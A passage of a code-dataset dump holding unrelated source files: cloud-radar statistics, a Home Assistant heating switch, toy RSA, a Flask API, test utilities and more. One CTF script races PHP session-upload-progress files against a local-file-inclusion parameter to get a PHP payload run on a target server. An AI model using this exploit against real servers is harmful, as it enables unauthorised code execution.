1:\n mx_ind = h.argnearest(v_lidar['rg'], ll_base)\n else:\n mx_ind = 0\n #print(ll_base, mx_ind)\n #print(len(a_lidar['var']), a_lidar['var'].shape)\n \n for it in range(a_lidar['var'].shape[0]):\n #index of bsc max above liquid base\n idx = np.argmax(fill_with(a_lidar, -99)[it,mx_ind:])\n #print(it, idx, mx_ind+idx)\n if not v_lidar['mask'][it, mx_ind+idx]:\n v_base.append(v_lidar['var'][it, mx_ind+idx])\n #print('v', v_lidar['var'][it, mx_ind+idx])\n #print('a',a_lidar['var'][it, mx_ind+idx])\n # sometimes rg is only a float\n if isinstance(v_lidar['rg'], np.ndarray):\n rg = v_lidar['rg'][mx_ind+idx]\n else:\n rg = v_lidar['rg']\n locations_of_vel.append((v_lidar['ts'][it], rg, v_lidar['var'][it, mx_ind+idx], f.valid))\n #print(v_lidar['ts'][it], v_lidar['rg'][mx_ind+idx])\n #if v_lidar['var'].shape[1] > 1:\n \n #else:\n #locations_of_vel.append((v_lidar['ts'][it], v_lidar['rg']))\n\n \n v_base=np.array(v_base)\n v_base=v_base[v_base != 0]\n v_base=v_base[v_base != None]\n print('v_base', v_base)\n\n if len(v_base)>0:\n v_mean=np.mean(v_base)\n v_std=np.std(v_base)\n v_n=len(v_base)\n else:\n v_mean=0\n v_std=0\n v_n=0\n\n return v_mean,v_std,v_n,v_base,locations_of_vel\n\n def no_node_hist(self):\n \"\"\"histogram over number of nodes for full cloud\n\n Returns:\n histogram of the node numbers\n \"\"\"\n\n no_nodes=np.array([])\n\n for f in self.features:\n if 'pT_no' in f.measurements:\n var = f.measurements[\"pT_no\"]['var'].ravel()\n no_nodes = np.append(no_nodes, var, axis=0)\n \n hist, bins = np.histogram(no_nodes, bins=[0,1,3,5,7,9,11,13,15,17,19,21,23])\n\n return hist.tolist()\n\n def no_node_hist_above_cb(self):\n \"\"\"histogram over number of nodes for full cloud\n\n\n Returns:\n histogram of the node numbers\n \"\"\"\n\n no_nodes=np.array([])\n\n for f in self.features:\n print(f.liquid_layer_base)\n if 'pT_no' in f.measurements:\n rg = f.measurements[\"pT_no\"]['rg']\n print('pT range', rg)\n rg_lt_base = np.where(rg > f.liquid_layer_base[0])[0]\n i_base = rg_lt_base[0]\n print(i_base)\n #print(f.measurements[\"pT_no\"]['var'].shape)\n #print(f.measurements[\"pT_no\"]['var'][:,i_base:].shape)\n var = f.measurements[\"pT_no\"]['var'][:,i_base:].ravel()\n no_nodes = np.append(no_nodes, var, axis=0)\n \n hist, bins = np.histogram(no_nodes, bins=[0,1,3,5,7,9,11,13,15,17,19,21,23])\n\n return hist.tolist()\n\n\n def no_node_hist_ice_liq(self):\n \"\"\"histogram over number of nodes for full cloud\n\n\n Returns:\n histogram of the node numbers\n \"\"\"\n\n no_nodes=np.array([])\n\n for f in self.features:\n print(f.classifications)\n print(f.ranges)\n if 'pT_no' in f.measurements:\n rg = f.measurements[\"pT_no\"]['rg']\n print('pT range', rg)\n lowest_ice = np.where(np.isin(f.classifications, [1,4,5]))[0]\n print('lowest ice ', lowest_ice)\n if len(lowest_ice) > 0:\n rg_lowest = f.ranges[lowest_ice][0]\n rg_lt_base = np.where(rg > rg_lowest)[0]\n i_base = rg_lt_base[0]\n print(i_base)\n var = f.measurements[\"pT_no\"]['var'][:,i_base:].ravel()\n no_nodes = np.append(no_nodes, var, axis=0)\n \n hist, bins = np.histogram(no_nodes, bins=[0,1,3,5,7,9,11,13,15,17,19,21,23])\n return hist.tolist()\n\n\n def horizontal_wind(self, cth, h_range):\n\n N_features=len(self.features)\n f=self.features[N_features/2]\n\n wp_hasl=f.measurements[\"wp_hasl\"]\n wp_vel=f.measurements[\"wp_vel\"]\n\n cth_index = np.argmin(np.abs(wp_hasl-cth))\n \n top = cth_index+h_range\n bottom = cth_index-h_range\n\n if top>=len(wp_vel):\n top=len(wp_vel)-1\n\n if bottom<0:\n bottom=0\n\n #Advection profile around cloud top\n vel_profile=np.array(wp_vel[bottom:top])\n hasl_profile=np.array(wp_hasl[bottom:top])\n\n clean_index=(~np.isnan(vel_profile))*(vel_profile>0.0)*(vel_profile<100.0)\n \n vel_profile=vel_profile[clean_index]\n hasl_profile=hasl_profile[clean_index]\n\n if len(vel_profile)>0:\n \n std=np.std(vel_profile)\n avg=np.average(vel_profile)\n mx=np.max(vel_profile)\n mn=np.min(vel_profile)\n dvdh=np.average(np.diff(vel_profile)/np.diff(hasl_profile))\n\n else:\n \n std,avg,mx,mn,dvdh = 0,0,0,0,0\n\n return avg, std, mx, mn, dvdh\n\n \n def ilr(self, spacing):\n\n iwc_top=[]\n lwc_top=[]\n\n for f in self.features:\n if f.precipitation_top!=-1 and f.precipitation_top-spacing>0:\n iwc_top.append(f.measurements[\"IWC\"]['var'][f.precipitation_top-spacing])\n if np.sum(f.measurements[\"LWC\"]['var'])>0:\n #print('lwc', f.measurements[\"LWC\"]['var'], f.measurements[\"LWC\"]['mask'])\n lwc_top.append(np.average(f.measurements[\"LWC\"]['var'][f.measurements[\"LWC\"]['var']!=0]))\n else:\n lwc_top.append(0)\n\n iwc_top=np.array(iwc_top)\n lwc_top=np.array(lwc_top)\n\n\n if len(lwc_top!=0)>0:\n ilcr=iwc_top[lwc_top!=0]/lwc_top[lwc_top!=0]\n else:\n ilcr=[0]\n\n print('at ilr; iwc, lwc, ilcr average', \n np.average(iwc_top), np.average(lwc_top), \n np.average(ilcr))\n\n #n_ice=len(ilcr>0.9)/float(len(ilcr))\n #n_liq=len(ilcr<0.1)/float(len(ilcr))\n #n_mix=(len(ilcr)-n_ice-n_liq)/float(len(ilcr)\n\n\n bins = np.logspace(-5, 0, 20)\n if len(ilcr)>0:\n histogr=np.histogram(ilcr,bins=bins)[0]\n else:\n histogr=np.repeat(0,len(bins))\n\n return np.average(ilcr),np.median(ilcr),len(ilcr),list(histogr)\n\n def separation_location(self, spacing):\n\n times=[]\n ranges=[]\n for f in self.features:\n if f.precipitation_top!=-1 and f.precipitation_top-spacing>0:\n ranges.append(f.ranges[f.precipitation_top-spacing])\n times.append(f.time)\n\n return times, ranges\n\n\n def separation_average(self,name,spacing):\n\n print(\"separation average\", name, spacing)\n if not(name in self.features[0].measurements.keys()):\n print('name not in features')\n return 0,0,0,0\n\n values=[]\n print('no_features', len(self.features))\n for f in self.features:\n\n\n #if f.valid==False:\n # continue\n #print('precip top',f.precipitation_top, f.precipitation_top-spacing)\n #print('cc_profile', f.classifications )\n\n if f.precipitation_top!=-1 and f.precipitation_top-spacing>0:\n mask = f.measurements[name]['mask'][f.precipitation_top-spacing].astype(bool)\n #print(type(mask), mask.dtype, mask.data)\n values += f.measurements[name]['var'][f.precipitation_top-spacing][~mask].tolist()\n\n\n values=np.array(values).ravel()\n\n #print(values)\n if len(values)>0 and ~np.all(values==0):\n values_avg=np.average(values[values!=0])\n values_med=np.median(values[values!=0])\n values_std=np.std(values[values!=0])\n n=len(values[values!=0])\n else:\n values_avg=0\n values_med=0\n values_std=0\n n=0\n\n return values_avg,values_med,values_std,n\n\n\n def separation_values(self,name,spacing):\n\n print(\"separation values\", name, spacing)\n if not(name in self.features[0].measurements.keys()):\n print('name not in features')\n return 0,0,0,0\n\n values=[]\n print('no_features', len(self.features))\n for f in self.features:\n\n\n #if f.valid==False:\n # continue\n print('precip top',f.precipitation_top, f.precipitation_top-spacing)\n print('cc_profile', f.classifications )\n\n if f.precipitation_top!=-1 and f.precipitation_top-spacing>0:\n mask = f.measurements[name]['mask'][f.precipitation_top-spacing]\n values += f.measurements[name]['var'][f.precipitation_top-spacing][~mask].tolist()\n\n\n values=np.array(values).ravel()\n\n return values\n\n\n def liquid_layer_variation(self):\n\n cb=[]\n for f in self.features:\n if f.liquid_layer_base!=[]:\n cb.append(f.liquid_layer_base[0])\n else:\n cb.append(f.base)\n\n return np.std(cb)\n\n def cloud_top_thickness(self):\n \"\"\"thickness of the liquid layer\n \n if a liquid base is detected?\n\n ! change mr:\n omit non liquid thickness\n\n Returns:\n np.average(thickness), np.median(thickness), np.std(thickness), thickness_with_time\n\n\n where (f.time, f.top_range-f.liquid_layer_base[0], f.liquid_layer_base[0], f.top_range, flag)\n\n flag 0: feature.liquid_layer_base[0]\n \n flag 1: feature.base_range [omitted as base_range is frequently the base of the ice]\n \"\"\"\n\n thickness_with_time = []\n for f in self.features:\n\n print(f.time, f.top_range, f.liquid_layer_base, f.base_range)\n # 2020-10-12 f.base_range and liquid_layer_base are not equal???\n #\n\n if f.liquid_layer_base!=[]:\n thickness_with_time.append((f.time, f.top_range-f.liquid_layer_base[0], f.liquid_layer_base[0], f.top_range, 0))\n else:\n pass\n #\n #thickness_with_time.append((f.time, f.top_range-f.base_range, f.base_range, f.top_range, 1))\n\n print('cloud top thickness: no tops ', len(self.tops), ' no thickness ', len(thickness_with_time))\n thickness = [e[1] for e in thickness_with_time]\n return np.average(thickness), np.median(thickness), np.std(thickness), thickness_with_time\n\n\n def cloud_top_avg(self, frac=0.5):\n \"\"\"calculated the mean height of the mid of the liquid layer\n (based on cloud_top_thickness())\n \n Returns:\n np.average(thickness), np.median(thickness), np.std(thickness), thickness_with_time\n\n \"\"\"\n\n mid_with_time = []\n for f in self.features:\n\n print(f.time, f.top_range, f.liquid_layer_base, f.base_range)\n # 2020-10-12 f.base_range and liquid_layer_base are not equal???\n #\n\n if f.liquid_layer_base!=[]:\n mid = f.liquid_layer_base[0] + frac*(f.top_range-f.liquid_layer_base[0])\n mid_with_time.append((f.time, mid))\n\n mids = [e[1] for e in mid_with_time]\n return np.average(mids), mid_with_time\n\n\n\n def average_paths(self):\n \n lwp=[]\n lwp_s=[]\n iwp=[]\n\n #dh=self.features[0].ranges[1]-self.features[0].ranges[0]\n #dh = self.features[0].measurements[\"LWC\"]['rg'][1] - self.features[0].measurements[\"LWC\"]['rg'][0]\n dh = self.features[0].dh\n for f in self.features:\n lwp.append(np.sum(get_only_valid(f.measurements[\"LWC\"]))*dh)\n lwp_s.append(np.sum(get_only_valid(f.measurements[\"LWC_S\"]))*dh)\n iwp.append(np.sum(get_only_valid(f.measurements[\"IWC\"]))*dh)\n\n #ATTENTION!\n\n lwp=np.array(lwp)\n lwp_s=np.array(lwp_s)\n iwp=np.array(iwp)\n print('paths lwp, lwp_s', lwp, lwp_s)\n\n if lwp!=[] and ~np.all(lwp==0) and len(lwp[lwp_s!=0])>0:\n lwp_average=np.average(lwp[lwp_s!=0])\n else:\n lwp_average=0\n\n if lwp_s!=[] and ~np.all(lwp_s==0):\n lwp_s_average=np.average(lwp_s[lwp_s!=0])\n else:\n lwp_s_average=0\n\n if iwp!=[] and ~np.all(iwp==0):\n iwp_average=np.average(iwp[iwp!=0])\n iwp_std=np.std(iwp[iwp!=0])\n else:\n iwp_average=0\n iwp_std=0\n\n print('path averages ', lwp_average, lwp_s_average, iwp_average)\n\n return lwp_average, lwp_s_average, iwp_average, iwp_std\n\n def pressure_range(self):\n \"\"\"loop over features, take the base and top pressure\n and return max(base), min(top)\n \"\"\" \n top_pressure=[]\n base_pressure=[]\n\n for f in self.features:\n top_pressure.append(f.measurements[\"p\"]['var'][-1])\n base_pressure.append(f.measurements[\"p\"]['var'][0])\n\n return np.max(base_pressure),np.min(top_pressure)\n\n def print_values(self, name1, name2):\n for f in self.features:\n for v in range(len(f.measurements[name1])):\n if f.measurements[name1][v]!=0 and f.measurements[name2][v]!=0:\n print(f.measurements[name1][v], f.measurements[name2][v])\n\n def n_melting(self):\n\n n_melt=0\n\n for f in self.features:\n if f.has_melting:\n n_melt+=1\n\n return n_melt\n\n def n_drizzle(self):\n\n n_driz=0\n\n for f in self.features:\n if f.has_drizzle:\n n_driz+=1\n\n return n_driz\n\n def correct_LDR(self,snr_co=-20,ldr_limit=-33):\n # isn't that done during reading?\n pass\n #for f in self.features:\n\n # LDR_min=snr_co-f.measurements[\"SNR\"]\n # f.measurements[\"LDR\"][f.measurements[\"LDR\"] None:\n \"\"\"Switch setup for nefit easy.\"\"\"\n entities: list[NefitEntity] = []\n\n client = hass.data[DOMAIN][config_entry.entry_id][\"client\"]\n data = config_entry.data\n\n for description in SWITCHES:\n if description.key == \"hot_water\":\n entities.append(NefitHotWater(description, client, data))\n elif description.key == \"lockui\":\n entities.append(NefitSwitch(description, client, data, \"true\", \"false\"))\n elif description.key == \"weather_dependent\":\n entities.append(NefitSwitch(description, client, data, \"weather\", \"room\"))\n elif description.key == \"home_entrance_detection\":\n await setup_home_entrance_detection(\n entities,\n client,\n data,\n description.key,\n description.name,\n description.icon,\n )\n else:\n entities.append(NefitSwitch(description, client, data))\n\n async_add_entities(entities, True)\n\n\nasync def setup_home_entrance_detection(\n entities: list[NefitEntity],\n client: NefitEasy,\n data: MappingProxyType[str, Any],\n basekey: str,\n basename: str,\n baseicon: str,\n) -> None:\n \"\"\"Home entrance detection setup.\"\"\"\n for i in range(0, 10):\n endpoint = \"/ecus/rrc/homeentrancedetection\"\n name = await client.async_init_presence(endpoint, i)\n\n if name is not None:\n description = NefitSwitchEntityDescription(\n key=f\"presence{i}_detected\",\n name=basename.format(name),\n url=f\"{endpoint}/userprofile{i}/detected\",\n icon=baseicon,\n )\n entities.append(NefitSwitch(description, client, data))\n\n\nclass NefitSwitch(NefitEntity, SwitchEntity):\n \"\"\"Representation of a NefitSwitch entity.\"\"\"\n\n entity_description: NefitSwitchEntityDescription\n\n def __init__(\n self,\n entity_description: NefitSwitchEntityDescription,\n client: NefitEasy,\n data: MappingProxyType[str, Any],\n on_value: str = \"on\",\n off_value: str = \"off\",\n ) -> None:\n \"\"\"Init Nefit Switch.\"\"\"\n super().__init__(entity_description, client, data)\n\n self._on_value = on_value\n self._off_value = off_value\n\n @property\n def is_on(self) -> bool:\n \"\"\"Get whether the switch is in on state.\"\"\"\n return bool(\n self.coordinator.data.get(self.entity_description.key) == self._on_value\n )\n\n @property\n def assumed_state(self) -> bool:\n \"\"\"Return true if we do optimistic updates.\"\"\"\n return False\n\n async def async_turn_on(self, **kwargs: Any) -> None:\n \"\"\"Turn the entity on.\"\"\"\n self._client.nefit.put_value(self.get_endpoint(), self._on_value)\n\n self._client.nefit.get(self.get_endpoint())\n\n _LOGGER.debug(\n \"Switch Nefit %s to %s, endpoint=%s.\",\n self.entity_description.key,\n self._on_value,\n self.get_endpoint(),\n )\n\n async def async_turn_off(self, **kwargs: Any) -> None:\n \"\"\"Turn the entity off.\"\"\"\n self._client.nefit.put_value(self.get_endpoint(), self._off_value)\n\n self._client.nefit.get(self.get_endpoint())\n\n _LOGGER.debug(\n \"Switch Nefit %s to %s, endpoint=%s.\",\n self.entity_description.key,\n self._off_value,\n self.get_endpoint(),\n )\n\n\nclass NefitHotWater(NefitSwitch):\n \"\"\"Class for nefit hot water entity.\"\"\"\n\n def get_endpoint(self) -> str:\n \"\"\"Get end point.\"\"\"\n endpoint = (\n \"dhwOperationClockMode\"\n if self.coordinator.data.get(\"user_mode\") == \"clock\"\n else \"dhwOperationManualMode\"\n )\n return \"/dhwCircuits/dhwA/\" + endpoint\n","repo_name":"ksya/ha-nefiteasy","sub_path":"custom_components/nefiteasy/switch.py","file_name":"switch.py","file_ext":"py","file_size_in_byte":4518,"program_lang":"python","lang":"en","doc_type":"code","stars":70,"dataset":"github-code","pt":"8"}
+{"seq_id":"36117935515","text":"import sys\nfrom collections import Counter\n\nn, m = map(int, input().split())\n\nd_list = []\nfor _ in range(n):\n d = sys.stdin.readline().strip()\n d_list.append(d)\n\nb_list = []\nfor _ in range(m):\n b = sys.stdin.readline().strip()\n b_list.append(b)\n\ndb_list = d_list + b_list\n\ncounter = dict(Counter(db_list))\nresult = {key: value for key, value in counter.items() if value > 1}\n\nprint(len(result))\nfor value in sorted(result):\n print(value)\n","repo_name":"pppp-qqqq/algorithm","sub_path":"CLASS3/04_듣보잡/1764_sj.py","file_name":"1764_sj.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"12491990926","text":"from math import gcd\n\n\ndef find_e(phi):\n for i in range(2, phi):\n if gcd(i, phi) == 1:\n return i\n return None\n\n\ndef find_d(phi, e):\n for i in range(2, phi):\n if (i * e) % phi == 1:\n return i\n return None\n\n\ndef encrypt(message, public_key):\n n, e = public_key\n encrypted_message = message ** e % n\n return encrypted_message\n\n\ndef decrypt(encrypted_message, private_key):\n n, d = private_key\n decrypted_message = encrypted_message ** d % n\n return decrypted_message\n\n\n# Generate public and private keys\np = 17\nq = 23\n\nn = p * q\n\nphi = (p - 1) * (q - 1)\n\ne = find_e(phi)\nif e is None:\n print(\"No e found\")\n exit(1)\n\nd = find_d(phi, e)\nif d is None:\n print(\"No d found\")\n exit(1)\n\npublic_key = (n, e)\nprivate_key = (n, d)\n\nprint(\"Public key: \", public_key)\nprint(\"Private key: \", private_key)\n\n\n# User input\nuser_choice = input(\"Encrypt or decrypt? (e/d): \")\n\nif user_choice == \"e\":\n message = input(\"Enter message to encrypt: \")\n crypted_message = \"\"\n for char in message:\n crypted_chars = encrypt(ord(char), public_key)\n crypted_message += str(crypted_chars) + \" \"\n print(\"Encrypted message: \", crypted_message)\n\nelif user_choice == \"d\":\n crypted_message = input(\"Message: \")\n crypted_chars = crypted_message.split(\" \")\n message = \"\"\n for char in crypted_chars:\n # Decryption\n decrypted_char = decrypt(int(char), private_key)\n message += chr(decrypted_char)\n print(\"Decrypted message: \", message)\n\nelse:\n print(\"Invalid choice\")\n","repo_name":"BawBaw31/rsa-encryption","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"11529465966","text":"from __future__ import absolute_import, print_function\n\nfrom flask import g\n\nfrom .base_api import Resource\nfrom ..service import DataService\n\n\nclass Datas(Resource):\n \"\"\"\n ref: web_api.yaml\n \"\"\"\n\n def get(self):\n \"\"\"\n ref: web_api.yaml\n :return:\n \"\"\"\n pattern = None\n if 'pattern' in g.args:\n pattern = g.args['pattern']\n datas = DataService.list(pattern)\n\n for data_no, data in enumerate(datas):\n datas[data_no] = {\n \"id\": data.id,\n \"name\": data.name,\n \"uri\": '/v1/data/%s' % data.name,\n \"createTime\": data.create_time * 1000,\n \"updateTime\": data.update_time * 1000,\n \"labelRatio\": data.label_ratio,\n \"period\": {\n \"length\": data.period,\n \"ratio\": data.period_ratio\n },\n \"display\": {\n \"start\": data.start_time * 1000,\n \"end\": min(data.start_time + 86400, data.end_time) * 1000\n },\n \"time\": {\n \"start\": data.start_time * 1000,\n \"end\": data.end_time * 1000\n }\n }\n\n return self.render(data=datas), 200, None\n","repo_name":"curleywang/Curve","sub_path":"api/curve/v1/api/datas.py","file_name":"datas.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"8"}
+{"seq_id":"42764032361","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport numpy as np\n\ndef readfile(data_path):\n\tdf = pd.read_csv(data_path, header=0)\n\tInput = df['Input']\n\tOutput = df['Output']\n\tm1 = []\n\tfor x in Input:\n\t\tm1.append(1)\n\treturn Input, Output, m1\n\ndef linearRegression(Input, Output, m1):\t \n\tm = np.matrix([m1, Input], dtype=int)\n\tm = m.T\n\ty = np.asmatrix(Output,dtype=int)\n\ty = y.T\n\n\tB = (m.T * m).I * (m.T * y)\t\t# B = (m^t * m)^(-1) * (m^t * y) is the least square matrix\n\tB = np.asmatrix(B, dtype=int)\t# B stores w0 and w1\n\n\tinput_size = np.size(Input)\n\tinput_range = Input.values\n\tinput_range = np.sort(input_range)\n\tmax_num = input_range[input_size-1]\n\tmin_num = input_range[0]\n\n\tlin_x = []\n\tlin_y = []\n\tfor x in range(min_num,max_num+1):\n\t\tlin_x.append(x)\n\t\tX = np.matrix([1, x])\n\t\tlin_y.append(int(X * B))\t# y = w0 + w1 * x\n\treturn lin_x, lin_y, B\n\t\n\ndata_path = './data.csv'\nInput, Output, m1 = readfile(data_path)\nlin_x, lin_y, B = linearRegression(Input, Output, m1)\n\nprint(B)\nprint(lin_x)\nprint(lin_y) \n\n\n#======================plot============================\n\nfig, a1 = plt.subplots()\na1.plot(Input, Output, 'ro')\t# plot original data\na1.plot(lin_x, lin_y, label='linear regression')\t# plot the linear regression line.\na1.set_xlabel('Input')\na1.set_ylabel('Output')\nplt.show()\n","repo_name":"Jyun-Neng/Machine_Learning","sub_path":"linearRegression.py","file_name":"linearRegression.py","file_ext":"py","file_size_in_byte":1291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"8"}
+{"seq_id":"71749420742","text":"import pytest\n\n\ndef eq_(a, b, msg=None):\n __tracebackhide__ = True\n assert a == b, msg or \"{!r} != {!r}\".format(a, b)\n\n\ndef callcounter():\n def f(*args, **kwargs):\n f.callcount += 1\n\n f.callcount = 0\n return f\n\n\nclass CallLogger:\n \"\"\"This is a dummy object that logs all calls made to it.\n\n It is used to simulate the GUI layer.\n \"\"\"\n\n def __init__(self):\n self.calls = []\n\n def __getattr__(self, func_name):\n def func(*args, **kw):\n self.calls.append(func_name)\n\n return func\n\n def clear_calls(self):\n del self.calls[:]\n\n def check_gui_calls(self, expected, verify_order=False):\n \"\"\"Checks that the expected calls have been made to 'self', then clears the log.\n\n `expected` is an iterable of strings representing method names.\n If `verify_order` is True, the order of the calls matters.\n \"\"\"\n __tracebackhide__ = True\n if verify_order:\n eq_(self.calls, expected)\n else:\n eq_(set(self.calls), set(expected))\n self.clear_calls()\n\n def check_gui_calls_partial(self, expected=None, not_expected=None, verify_order=False):\n \"\"\"Checks that the expected calls have been made to 'self', then clears the log.\n\n `expected` is an iterable of strings representing method names. Order doesn't matter.\n Moreover, if calls have been made that are not in expected, no failure occur.\n `not_expected` can be used for a more explicit check (rather than calling `check_gui_calls`\n with an empty `expected`) to assert that calls have *not* been made.\n \"\"\"\n __tracebackhide__ = True\n if expected is not None:\n not_called = set(expected) - set(self.calls)\n assert not not_called, f\"These calls haven't been made: {not_called}\"\n if verify_order:\n max_index = 0\n for call in expected:\n index = self.calls.index(call)\n if index < max_index:\n raise AssertionError(f\"The call {call} hasn't been made in the correct order\")\n max_index = index\n if not_expected is not None:\n called = set(not_expected) & set(self.calls)\n assert not called, f\"These calls shouldn't have been made: {called}\"\n self.clear_calls()\n\n\nclass TestApp:\n def __init__(self):\n self._call_loggers = []\n\n def clear_gui_calls(self):\n for logger in self._call_loggers:\n logger.clear_calls()\n\n def make_logger(self, logger=None):\n if logger is None:\n logger = CallLogger()\n self._call_loggers.append(logger)\n return logger\n\n def make_gui(self, name, class_, view=None, parent=None, holder=None):\n if view is None:\n view = self.make_logger()\n if parent is None:\n # The attribute \"default_parent\" has to be set for this to work correctly\n parent = self.default_parent\n if holder is None:\n holder = self\n setattr(holder, f\"{name}_gui\", view)\n gui = class_(parent)\n gui.view = view\n setattr(holder, name, gui)\n return gui\n\n\n# To use @with_app, you have to import app in your conftest.py file.\ndef with_app(setupfunc):\n def decorator(func):\n func.setupfunc = setupfunc\n return func\n\n return decorator\n\n\n@pytest.fixture\ndef app(request):\n setupfunc = request.function.setupfunc\n if hasattr(setupfunc, \"__code__\"):\n argnames = setupfunc.__code__.co_varnames[: setupfunc.__code__.co_argcount]\n\n def getarg(name):\n if name == \"self\":\n return request.function.__self__\n else:\n return request.getfixturevalue(name)\n\n args = [getarg(argname) for argname in argnames]\n else:\n args = []\n app = setupfunc(*args)\n return app\n\n\ndef _unify_args(func, args, kwargs, args_to_ignore=None):\n \"\"\"Unify args and kwargs in the same dictionary.\n\n The result is kwargs with args added to it. func.func_code.co_varnames is used to determine\n under what key each elements of arg will be mapped in kwargs.\n\n if you want some arguments not to be in the results, supply a list of arg names in\n args_to_ignore.\n\n if f is a function that takes *args, func_code.co_varnames is empty, so args will be put\n under 'args' in kwargs.\n\n def foo(bar, baz)\n _unifyArgs(foo, (42,), {'baz': 23}) --> {'bar': 42, 'baz': 23}\n _unifyArgs(foo, (42,), {'baz': 23}, ['bar']) --> {'baz': 23}\n \"\"\"\n result = kwargs.copy()\n if hasattr(func, \"__code__\"): # built-in functions don't have func_code\n args = list(args)\n if getattr(func, \"__self__\", None) is not None: # bound method, we have to add self to args list\n args = [func.__self__] + args\n defaults = list(func.__defaults__) if func.__defaults__ is not None else []\n arg_count = func.__code__.co_argcount\n arg_names = list(func.__code__.co_varnames)\n if len(args) < arg_count: # We have default values\n required_arg_count = arg_count - len(args)\n args = args + defaults[-required_arg_count:]\n for arg_name, arg in zip(arg_names, args):\n # setdefault is used because if the arg is already in kwargs, we don't want to use default values\n result.setdefault(arg_name, arg)\n else:\n # 'func' has a *args argument\n result[\"args\"] = args\n if args_to_ignore:\n for kw in args_to_ignore:\n del result[kw]\n return result\n\n\ndef log_calls(func):\n \"\"\"Logs all func calls' arguments under func.calls.\n\n func.calls is a list of _unify_args() result (dict).\n\n Mostly used for unit testing.\n \"\"\"\n\n def wrapper(*args, **kwargs):\n unified_args = _unify_args(func, args, kwargs)\n wrapper.calls.append(unified_args)\n return func(*args, **kwargs)\n\n wrapper.calls = []\n return wrapper\n","repo_name":"arsenetar/dupeguru","sub_path":"hscommon/testutil.py","file_name":"testutil.py","file_ext":"py","file_size_in_byte":6009,"program_lang":"python","lang":"en","doc_type":"code","stars":4244,"dataset":"github-code","pt":"8"}
+{"seq_id":"70425535941","text":"import threading\nimport requests\nfrom concurrent.futures import ThreadPoolExecutor, wait\n\ntarget = 'http://192.168.1.162:8080/index.php'\nsession = requests.session()\nflag = 'helloworld'\n\n\ndef upload(e: threading.Event):\n files = [\n ('file', ('load.png', b'a' * 40960, 'image/png')),\n ]\n data = {'PHP_SESSION_UPLOAD_PROGRESS': rf''''); echo('{flag}'); ?>'''}\n\n while not e.is_set():\n requests.post(\n target,\n data=data,\n files=files,\n cookies={'PHPSESSID': flag},\n )\n\n\ndef write(e: threading.Event):\n while not e.is_set():\n response = requests.get(\n f'{target}?file=/tmp/sess_{flag}',\n )\n\n if flag.encode() in response.content:\n e.set()\n\n\nif __name__ == '__main__':\n futures = []\n event = threading.Event()\n pool = ThreadPoolExecutor(15)\n for i in range(10):\n futures.append(pool.submit(upload, event))\n\n for i in range(5):\n futures.append(pool.submit(write, event))\n\n wait(futures)\n","repo_name":"Hpd0ger/CTF-Scripts","sub_path":"thread/contend2.py","file_name":"contend2.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"8"}
+{"seq_id":"2184384282","text":"\"\"\"Base classes for NiMARE.\"\"\"\nimport gzip\nimport inspect\nimport logging\nimport pickle\nfrom abc import ABCMeta, abstractmethod\nfrom collections import defaultdict\n\nfrom nimare.results import MetaResult\n\nLGR = logging.getLogger(__name__)\n\n\nclass NiMAREBase(metaclass=ABCMeta):\n \"\"\"Base class for NiMARE.\n\n This class contains a few features that are useful throughout the library:\n\n - Custom __repr__ method for printing the object.\n - get_params from scikit-learn, with which parameters provided at __init__ can be viewed.\n - set_params from scikit-learn, with which parameters provided at __init__ can be overwritten.\n I'm not sure that this is actually used or useable in NiMARE.\n - save to save the object to a Pickle file.\n - load to load an instance of the object from a Pickle file.\n\n TODO: Actually write/refactor class methods. They mostly come directly from sklearn\n https://github.com/scikit-learn/scikit-learn/blob/\n 2a1e9686eeb203f5fddf44fd06414db8ab6a554a/sklearn/base.py#L141\n \"\"\"\n\n def __init__(self):\n pass\n\n def __repr__(self):\n \"\"\"Show basic NiMARE class representation.\n\n Specifically, this shows the name of the class, along with any parameters\n that are **not** set to the default.\n \"\"\"\n # Get default parameter values for the object\n signature = inspect.signature(self.__init__)\n defaults = {\n k: v.default\n for k, v in signature.parameters.items()\n if v.default is not inspect.Parameter.empty\n }\n\n # Eliminate any sub-parameters (e.g., parameters for a MetaEstimator's KernelTransformer),\n # as well as default values\n params = self.get_params()\n params = {k: v for k, v in params.items() if \"__\" not in k}\n params = {k: v for k, v in params.items() if defaults.get(k) != v}\n\n # Convert to strings\n param_strs = []\n for k, v in params.items():\n if isinstance(v, str):\n # Wrap string values in single quotes\n param_str = f\"{k}='{v}'\"\n else:\n # Keep everything else as-is based on its own repr\n param_str = f\"{k}={v}\"\n param_strs.append(param_str)\n\n rep = f\"{self.__class__.__name__}({', '.join(param_strs)})\"\n return rep\n\n @classmethod\n def _get_param_names(cls):\n \"\"\"Get parameter names for the estimator.\"\"\"\n # fetch the constructor or the original constructor before\n # deprecation wrapping if any\n init = getattr(cls.__init__, \"deprecated_original\", cls.__init__)\n if init is object.__init__:\n # No explicit constructor to introspect\n return []\n\n # introspect the constructor arguments to find the model parameters\n # to represent\n init_signature = inspect.signature(init)\n # Consider the constructor parameters excluding 'self'\n parameters = [\n p\n for p in init_signature.parameters.values()\n if p.name != \"self\" and p.kind != p.VAR_KEYWORD\n ]\n for p in parameters:\n if p.kind == p.VAR_POSITIONAL:\n raise RuntimeError(\n \"scikit-learn estimators should always \"\n \"specify their parameters in the signature\"\n \" of their __init__ (no varargs).\"\n \" %s with constructor %s doesn't \"\n \" follow this convention.\" % (cls, init_signature)\n )\n # Extract and sort argument names excluding 'self'\n return sorted([p.name for p in parameters])\n\n def get_params(self, deep=True):\n \"\"\"Get parameters for this estimator.\n\n Parameters\n ----------\n deep : :obj:`bool`, optional\n If True, will return the parameters for this estimator and\n contained subobjects that are estimators.\n\n Returns\n -------\n params : :obj:`dict`\n Parameter names mapped to their values.\n \"\"\"\n out = dict()\n for key in self._get_param_names():\n value = getattr(self, key, None)\n if deep and hasattr(value, \"get_params\"):\n deep_items = value.get_params().items()\n out.update((key + \"__\" + k, val) for k, val in deep_items)\n out[key] = value\n return out\n\n def 